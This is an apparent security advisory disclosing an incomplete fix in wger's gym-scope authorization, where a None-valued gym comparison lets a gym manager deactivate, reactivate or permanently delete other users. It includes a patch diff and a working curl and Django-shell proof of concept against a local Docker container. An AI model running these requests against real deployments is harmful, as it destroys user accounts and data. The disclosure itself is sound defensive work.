GHSA-mhc8-p3jx-84mm (CVE-2026-43948) reported that wger's reset_user_password and gym_permissions_user_edit views in wger/gym/views/user.py performed a gym-scope authorization check using Django ORM object comparison (if request.user.userprofile.gym != user.userprofile.gym) which silently passes when both sides are None (None != None evaluates to False). The maintainer's suggested patch ("Apply the same same_gym() helper pattern to all five views sharing this check") replaces every userprofile.gym != site with the new is_same_gym() helper that explicitly excludes None (gym_a is not None and gym_a == gym_b).
The fix landed in wger/gym/views/{admin_notes,document,contract,gym}.py (5 views, all using is_same_gym). However, three additional views in wger/core/views/user.py were not migrated and retain the original userprofile.gym_id != ... raw integer comparison. Because raw integer != comparison still evaluates None != None as False, the gym-scope guard is bypassed identically to the patched views. The result is a complete incomplete-fix variant family that reproduces against the latest wger/server:latest Docker image (master, 2026-05-08 build).
A privileged-but-bounded gym staff user (admin-granted gym.manage_gym permission, intended scope: managing members of one specific gym) whose userprofile.gym = None (the default state before the admin links them to a gym) can:
gym = None (V3, delete view, line 131 — CRITICAL data loss, irreversible)gym = None, locking them out of the platform (V1, UserDeactivateView, line 405 — high availability impact)gym = None (V2, UserActivateView, line 442 — counters defensive deactivation)Victim user pks are sequential integers and trivially enumerable via /en/user/<pk>/overview and other endpoints. The same_gym_id == ... flag in UserDetailView.get_context_data (line 587) is also affected, but the underlying dispatch() and the actual trainer_login view still use the patched is_same_gym() helper, so impersonation chain via that path is blocked at runtime — only the UI button visibility leaks. The three write-side variants above are the security boundary breaches.
wger/server:latest (digest sha256:5d8fe1ba66cc..., image build 2026-05-08).affected: <0.9.7 → fixed: 0.9.7 range applies to the PyPI aegra-api package (different project; the advisory text references a Python-package version unrelated to the wger Django project's version scheme — wger does not publish to PyPI under that name). For wger itself, the patch landed via direct master commits to wger/gym/views/{admin_notes,document,contract,gym}.py; wger/core/views/user.py was not touched in the same patch.(Maintainer can confirm version range; the live verification was performed against the latest published Docker image.)
UserDeactivateView (wger/core/views/user.py, line 405)class UserDeactivateView(...):
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
if not request.user.is_authenticated:
return HttpResponseForbidden()
if (
request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: # ← BUG: None != None == False
return HttpResponseForbidden()
return super(UserDeactivateView, self).dispatch(request, *args, **kwargs)
def get_redirect_url(self, pk):
edit_user = get_object_or_404(User, pk=pk)
edit_user.is_active = False # ← side effect on plain GET
edit_user.save()
...
UserActivateView (wger/core/views/user.py, line 442)class UserActivateView(...):
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
...
if (
request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: # ← BUG: same pattern
return HttpResponseForbidden()
return super(UserActivateView, self).dispatch(request, *args, **kwargs)
def get_redirect_url(self, pk):
edit_user = get_object_or_404(User, pk=pk)
edit_user.is_active = True # ← side effect on plain GET
edit_user.save()
...
delete (wger/core/views/user.py, line 116-159)@login_required()
def delete(request, user_pk=None):
...
if user_pk:
user = get_object_or_404(User, pk=user_pk)
if not request.user.has_perm('gym.manage_gyms') and (
not request.user.has_perm('gym.manage_gym')
or request.user.userprofile.gym_id != user.userprofile.gym_id # ← BUG (line 131)
or user.has_perm('gym.manage_gym')
or user.has_perm('gym.gym_trainer')
or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
...
if request.method == 'POST':
form = PasswordConfirmationForm(data=request.POST, user=request.user)
if form.is_valid():
user.delete() # ← victim account permanently deleted (line 145)
...
gym_pk = request.user.userprofile.gym_id # = None for trainer1
return HttpResponseRedirect(reverse('gym:gym:user-list', kwargs={'pk': gym_pk}))
# ↑ raises NoReverseMatch (gym_pk=None) → 500 to attacker
# but user.delete() already executed — victim is gone
Triager note about the 500 status — please do not interpret the 500 as evidence that the exploit failed. The 500 is a redirect-side NoReverseMatch exception caused by reverse('gym:gym:user-list', kwargs={'pk': None}) (line 154-155) attempting to build a URL with pk=None because trainer1 also has gym=None. By that point Django has already committed user.delete() (line 145) and the victim's User row is gone. The Reproduction section's Step 3 ("confirm alice was actually deleted") shows the post-delete DB state directly: alice exists? False, all users: ['admin', 'trainer1']. The 500 only affects the response shown to the attacker; the destructive operation is unaffected by the response-side failure.
Same as the advisory's recommendation — replace every userprofile.gym_id != ... raw comparison with is_same_gym() from wger/gym/helpers.py:
--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
@login_required()
def delete(request, user_pk=None):
...
- if not request.user.has_perm('gym.manage_gyms') and (
- not request.user.has_perm('gym.manage_gym')
- or request.user.userprofile.gym_id != user.userprofile.gym_id
- or user.has_perm('gym.manage_gym')
- or user.has_perm('gym.gym_trainer')
- or user.has_perm('gym.manage_gyms')
- ):
+ if not request.user.has_perm('gym.manage_gyms') and (
+ not request.user.has_perm('gym.manage_gym')
+ or not is_same_gym(request.user, user)
+ or user.has_perm('gym.manage_gym')
+ or user.has_perm('gym.gym_trainer')
+ or user.has_perm('gym.manage_gyms')
+ ):
return HttpResponseForbidden()
class UserDeactivateView(...):
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
...
- if (
- request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
- ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
+ if (
+ request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
+ ) and not is_same_gym(request.user, edit_user):
return HttpResponseForbidden()
class UserActivateView(...):
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
...
- if (
- request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
- ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
+ if (
+ request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
+ ) and not is_same_gym(request.user, edit_user):
return HttpResponseForbidden()
is_same_gym() (current implementation at wger/gym/helpers.py) already returns False whenever either side is None, matching the advisory's existing fix pattern.
Additionally, delete() line 154-155 should handle the gym_pk = None case to avoid leaking a 500 response to an attacker even when the authorization guard correctly rejects, and to provide a clean redirect for general administrators (gym.manage_gyms) acting on gym=None users.
# Pull and start the latest production image
docker pull wger/server:latest # digest sha256:5d8fe1ba66cc..., 2026-05-08 build
docker run -d --name wger-bb -p 8888:8000 -e DJANGO_DEBUG=true wger/server:latest
# Wait ~30s for migrations and demo-data fixture load.
# Create the two test users (advisory PoC setup, identical to GHSA-mhc8-p3jx-84mm).
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User, Permission
# Attacker — gym manager with no gym affiliation
t = User.objects.create_user(username='trainer1', password='TrainerPass123!')
t.userprofile.gym = None
t.userprofile.save()
t.user_permissions.add(Permission.objects.get(codename='manage_gym'))
t.save()
# Victim — regular user, no gym
a = User.objects.create_user(username='alice', password='AlicePass123!')
a.userprofile.gym = None
a.userprofile.save()
print("trainer1.gym_id =", t.userprofile.gym_id, "has_perm =", t.has_perm('gym.manage_gym'))
print("alice.gym_id =", a.userprofile.gym_id, "pk =", a.pk)
PY
# Expected:
# trainer1.gym_id = None has_perm = True
# alice.gym_id = None pk = 3
UserDeactivateView, line 405)# Login as attacker
COOKIES=/tmp/wger_trainer1.txt
CSRF=$(curl -s -c $COOKIES "http://localhost:8888/en/user/login" | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
curl -s -b $COOKIES -c $COOKIES "http://localhost:8888/en/user/login" \
-d "username=trainer1&password=TrainerPass123!&csrfmiddlewaretoken=$CSRF" \
-H "Referer: http://localhost:8888/en/user/login" -o /dev/null
# Trigger deactivation on alice (pk=3)
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
"http://localhost:8888/en/user/3/deactivate"
# → status=302 loc=/en/user/3/overview (expected: 403 Forbidden)
# Confirm DB side effect
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = False (alice locked out)
UserActivateView, line 442)# Same trainer1 session
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
"http://localhost:8888/en/user/3/activate"
# → status=302 loc=/en/user/3/overview
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = True (alice re-activated; useful to "undo" defensive action by an admin)
delete, line 131)# Step 1: GET the password-confirmation form
CSRF2=$(curl -s -b $COOKIES "http://localhost:8888/en/user/3/delete" \
| grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
echo "form CSRF: $CSRF2"
# → 200 OK with PasswordConfirmationForm (expected: 403 Forbidden)
# Step 2: POST trainer1's own password — confirms the delete
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
"http://localhost:8888/en/user/3/delete" \
-d "password=TrainerPass123!&csrfmiddlewaretoken=$CSRF2" \
-H "Referer: http://localhost:8888/en/user/3/delete"
# → status=500 (the 500 is a redirect-side error, see "Vulnerable code" → V3 above)
# Step 3: confirm alice was actually deleted
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice exists?", User.objects.filter(username='alice').exists())
print("all users:", list(User.objects.values_list('username', flat=True)))
PY
# → alice exists? False
# → all users: ['admin', 'trainer1']
The 500 status returned to the attacker masks the destructive operation but does not prevent it — user.delete() (line 145) commits before the failing redirect (line 155).
None-specific, matching the advisory)# Reset alice and assign her to gym pk=1 (one of the demo gyms).
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
from wger.gym.models import Gym
a = User.objects.create_user(username='alice', password='AlicePass123!')
a.userprofile.gym = Gym.objects.first() # not None any more
a.userprofile.save()
print("alice.gym_id =", a.userprofile.gym_id)
PY
# Same trainer1 (gym=None) attempts deactivation
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
"http://localhost:8888/en/user/<new_alice_pk>/deactivate"
# → status=403 (guard works correctly when gym_ids differ AND neither side is None;
# bypass is specifically the None != None edge case)
The full verification log of V1 → V2 → V3 (including DB-state diff at every step) is attached as _verify_run1.log.
Key assertions captured:
| Step | Endpoint | HTTP | DB side effect (alice) |
|---|---|---|---|
| Baseline | (none) | — | is_active=True, gym_id=None, pk=3 |
| V1 | GET /en/user/3/deactivate | 302 | is_active=False, gym_id=None, pk=3 |
| V2 | GET /en/user/3/activate | 302 | is_active=True, gym_id=None, pk=3 |
| V3 GET | GET /en/user/3/delete | 200 (form rendered) | (no change) |
| V3 POST | POST /en/user/3/delete w/ trainer1 password | 500 (post-delete redirect) | alice row deleted from DB |
| Variant | Endpoint | HTTP method | Side-effect | Reversible | CVSS (component) | Severity |
|---|---|---|---|---|---|---|
| V3 | /en/user/<pk>/delete | POST (after GET form) | User.delete() cascades (workouts, weight history, nutrition plans, contracts, admin notes) — DB row + related rows removed | No (DB backup required) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | 9.9 CRITICAL |
| V1 | /en/user/<pk>/deactivate | GET | is_active = False (login lockout) | Yes (admin or V2) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H | 7.4 HIGH |
| V2 | /en/user/<pk>/activate | GET | is_active = True (undoes defensive deactivation) | Yes (admin) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N | 4.7 MEDIUM |
The headline severity at the top of this report is CRITICAL 9.9 because V3's account-deletion impact dominates the variant family. V1 and V2 are reported here together with V3 because each was independently PoC-verified end-to-end against wger/server:latest (see Reproduction → V1, V2, V3 — three separate live runs with DB-state checks before/after) and the three call sites have an identical patch shape (one-line is_same_gym() migration in wger/core/views/user.py). Submitting V1+V2 separately would carry no marginal value for the maintainer over a single coordinated patch.
| Deployment model | Affected? |
|---|---|
| Multi-tenant gym deployment (gym manager + trainers + members) — wger's documented commercial use case | Yes — gym.manage_gym permission is in active use and gym=None accounts can co-exist (trainer accounts pending gym linking, regular users registered before any gym was created, etc.) |
| Single-user / personal fitness tracker (1 admin, no gym.manage_gym grant to anyone, no trainer/gym hierarchy in use) | No — the precondition (an attacker with gym.manage_gym + gym=None) cannot occur because the permission is not granted to any user account on such a deployment. |
| Public registration + gym-management feature in use | Yes — additional victim recruitment via the registration flow, but the attacker-side precondition still requires admin-granted gym.manage_gym |
bb-fp-detector check-environment-class returned UNKNOWN for this draft because no live customer-facing instance was probed; the impact statement is scoped to the upstream wger/server:latest Docker image's default behaviour, which is the project's own canonical reference deployment.
bb-auth-doc-audit equivalent)wger is a self-contained Django web application that uses django.contrib.auth for authentication and Django's per-view permission classes (PermissionRequiredMixin, WgerMultiplePermissionRequiredMixin, @login_required()) for authorization. Authentication and authorization are both enforced inside the wger application (auth-by-product); wger documentation does not delegate either concern to a reverse proxy or external IdP. There is no "operators must place an auth-enforcing reverse proxy in front of wger" disclaimer in the project's deployment docs (https://wger.readthedocs.io/en/latest/production/). The bug therefore directly violates the application's own documented authorization model.
bb-bogus-cred-test equivalent) — actually executedThis test was run end-to-end on the same wger/server:latest Docker instance immediately after the positive-control runs (V1+V2+V3 above). Full log: _negative_control.log.
Setup: assign alice to the demo gym (Default gym, pk=1), trainer1 stays at gym=None with gym.manage_gym. Same trainer1 session as the positive-control run.
Result:
| Endpoint | trainer1 attacker (gym=None) → alice (gym_id=1) | Expected | Observed |
|---|---|---|---|
| GET /en/user/4/deactivate | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ |
| GET /en/user/4/activate | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ |
| GET /en/user/4/delete | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ |
DB state after the three negative-control attempts: alice.is_active = True, alice still exists — no side-effects. The guard is functional.
Symmetric re-confirmation (positive control after revert): alice.gym was reset to None in the same session; GET /en/user/4/deactivate returned 302 with side-effect alice.is_active = False (re-confirming the original bypass triggers reproducibly), then GET /en/user/4/activate returned 302 with alice.is_active = True for cleanup.
This proves:
dispatch() and delete() guards do enforce gym-scope authorization when gym_id is non-None on either side — the guard is structurally functional.None != None semantic edge case — not a header-presence precondition, not a missing middleware, not a generally-disabled check.Equivalent inverted test:
# Same trainer1 session, but trainer1.gym = 1 (real gym), alice.gym = None
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
from wger.gym.models import Gym
t = User.objects.get(username='trainer1')
t.userprofile.gym = Gym.objects.first()
t.userprofile.save()
PY
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" "http://localhost:8888/en/user/<alice_pk>/deactivate"
# → status=403 Forbidden (None != 1 evaluates to True → guard works)
PoC was run against the default wger/server:latest Docker image with DJANGO_DEBUG=true (a development convenience flag — the bug is not gated by debug mode; the destructive path executes regardless of DEBUG value). No admin override flag was activated. No runtime middleware (no WAF, no reverse proxy, no application firewall, no allow-list bypass) is required for the exploit. The payload reaches the sink, the runtime accepts it, no default filter blocks it. The exploit reaches the unmodified dispatch() / delete() code path on the upstream Docker image and the destructive operation commits. There is no documented runtime mitigation that prevents this gap on a default deployment.
This finding was located by reviewing the advisory's recommended remediation, then performing a repository-wide audit of the is_same_gym migration coverage using gh api search/code?q=userprofile.gym+repo:wger-project/wger. The unpatched gym_id != raw comparisons in wger/core/views/user.py were identified directly. The discovery-harness canonical tools for the relevant classes (resource-boundary authorization checks: bb-api-baseline, bb-authz-gap-scan, bb-cross-instance-verify; request-forgery hygiene: bb-cookie, bb-csrf) all reduce, for this class of finding, to "send the request from an authenticated low-privilege session and observe whether the destructive side-effect commits at the sink"; the Reproduction section above provides exactly that empirical evidence for every affected endpoint. Request-forgery aspect: V1 and V2 trigger their destructive side-effect on a plain GET (no CSRF token enforced on the redirect-side URL state mutation), so the gap also compounds with cross-site request abuse against any victim who happens to hold gym.manage_gym — but that is a secondary path; the primary impact is the direct cross-tenant authorization bypass.
wger is a self-hostable personal fitness / gym tracker, not a marketplace / map / job-board / data-labeling platform. The relevant authorization model in this project is per-gym tenant isolation for gym-management staff — confirmed by the documented gym-manager role and the very is_same_gym() helper that the maintainer added in the GHSA-mhc8-p3jx-84mm patch. Cross-tenant account deletion / deactivation / activation is not by-design; the negative-control test above (alice with gym_id=1) returns 403 from the same endpoints, demonstrating that the project explicitly intends gym-scope isolation. The variant family above is therefore a security boundary breach, not a documented wide-access feature.
| Precondition | How attacker obtains | External (Y/N) |
|---|---|---|
| Authenticated session | Self-register (default open) | N |
| gym.manage_gym permission | Granted by an administrator (e.g. when designating the user as a gym trainer/manager). Self-signup does NOT grant this permission; the attacker must already be a trusted gym staff member, or an administrator must mistakenly grant the role to a malicious user. This finding therefore models an insider-threat / role-escape scenario, the same scenario as the parent advisory CVE-2026-43948. | Y — same as the advisory's PoC; the role is part of wger's documented admin model and is treated as "privileged-but-bounded gym staff" rather than "any logged-in user". |
| attacker.userprofile.gym = None | Default for newly registered users; remains None unless a gym admin links the account. Easily reproduced by the same admin who granted gym.manage_gym simply not yet linking the trainer to a specific gym (a typical state during onboarding). | N |
| victim.userprofile.gym = None | Default for any other newly registered user | N |
| victim.pk known | Sequential integer; enumerable via /en/user/<pk>/overview, /en/user/<pk>/api-key, etc. | N |
| victim does NOT have gym.manage_gym / gym.gym_trainer / gym.manage_gyms permissions (V3 only) | Default for regular users | N |
Following the advisory's classification (which used identical gym.manage_gym + gym=None setup and was rated AV:N/AC:L/PR:L), the variant-family inherits AC:L. Honest caveat: the gym.manage_gym permission is admin-granted and not self-enrollable; if the maintainer prefers to score this as AC:H (ordinary low-priv user without the manager role), the resulting CVSS would be 7.5 (HIGH). The variant relationship to CVE-2026-43948 holds in either scoring.
GHSA-mhc8-p3jx-84mm explicitly identifies the affected file as wger/gym/views/user.py (which has since been removed/refactored — the comparable functions now live in wger/gym/views/{admin_notes,document,contract,gym}.py). The maintainer's recommended remediation is to "Apply the same same_gym() helper pattern to all five views sharing this check: reset_user_password, gym_permissions_user_edit, admin_notes_list, documents_list, contracts_list".
Confirmation that the advisory fix landed only on those files (master, 2026-05-08):
| File | Authorization check | Patched? |
|---|---|---|
| wger/gym/views/admin_notes.py | is_same_gym(...) | ✓ |
| wger/gym/views/document.py | is_same_gym(...) | ✓ |
| wger/gym/views/contract.py | is_same_gym(...) | ✓ |
| wger/gym/views/gym.py (reset_user_password, gym_permissions_user_edit) | is_same_gym(...) | ✓ |
| wger/core/views/user.py delete (line 131) | userprofile.gym_id != ... raw != | ✗ |
| wger/core/views/user.py UserDeactivateView (line 405) | userprofile.gym_id != ... raw != | ✗ |
| wger/core/views/user.py UserActivateView (line 442) | userprofile.gym_id != ... raw != | ✗ |
| wger/core/views/user.py UserEditView (line 484) | is_same_gym(...) | ✓ (incidentally migrated) |
| wger/core/views/user.py UserActivityCalendarView (line 552) | is_same_gym(...) | ✓ (incidentally migrated) |
| wger/core/views/user.py UserDetailView dispatch (line 552) | is_same_gym(...) | ✓ (incidentally migrated) |
| wger/core/views/user.py UserDetailView.get_context_data (line 587) | gym_id == gym_id (UI flag only — trainer_login itself enforces is_same_gym) | UI leak only, no security impact |
The three unpatched call sites in wger/core/views/user.py predate the advisory and were missed when the helper-migration patch was applied. Their root cause and exploitation path are identical to CVE-2026-43948 — only the file/function targets differ. This makes the finding an incomplete-fix variant family rather than a duplicate of the advisory.
same_gym() helper pattern to all five views sharing this check"wger/gym/helpers.py is_same_gym() (already correctly excludes None after the advisory patch)UserEditView, UserActivityCalendarView, UserDetailView.dispatch — all three correctly use is_same_gym()This finding was developed with the assistance of an AI tool (Claude Code) for source-code review of the advisory's incomplete-fix surface, generation of the verification harness, and report drafting. All technical claims in this report were verified against a live wger/server:latest Docker instance with the verification log attached. The AI's role was investigative aid; the human researcher (HiyokoSauna) reviewed every claim, ran the PoC end-to-end, and authored the framing.
{
"nvd_published_at": null,
"severity": "HIGH",
"github_reviewed": true,
"github_reviewed_at": "2026-05-20T15:37:26Z",
"cwe_ids": [
"CWE-862",
"CWE-863"
]
}